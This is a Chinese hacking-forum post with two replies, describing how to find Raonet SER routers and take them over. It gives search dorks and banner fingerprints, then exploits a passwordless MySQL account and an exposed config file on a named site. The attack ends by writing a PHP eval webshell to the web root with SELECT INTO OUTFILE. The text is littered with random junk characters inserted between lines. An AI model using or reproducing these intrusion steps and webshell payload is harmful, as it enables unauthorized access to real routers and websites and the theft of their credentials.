利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
6 K" r, O) {. a
1：google搜索'Raonet Subscriber Ethernet Router'

' Z+ E. V: C- q( |# t7 T6 D2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

1 p% P/ U+ ^6 d+ h' q3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
5 M3 C% ?* Q3 n
9 ], r+ Y4 N% X- X) _, R3 M9 [7 E//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......



' q; c# Y7 G0 A4 x入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
  L$ M+ Y2 ?% U& v1 Q8 o% e
6 g3 e$ d- ^% x/ H9 p2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
8 L& T2 j7 H* K. o; l1 W9 T) ouse ser_500
3 f( n8 j1 e2 |. g. E" s8 V+ }; [8 Fselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
1 H) V9 W% Q& t' g* b. o# s% ocreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
/ W4 S8 Y8 R* \! \1 Q8 ^/ Ldrop table ok;
8 M1 Q7 t8 F- m
5:连接后门shell.php
! p0 h1 ~( b8 A5 f& t  j$ o
  N9 w& q, g3 ~5 h6. 搞定！
9 N- D. [; V. E0 S

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。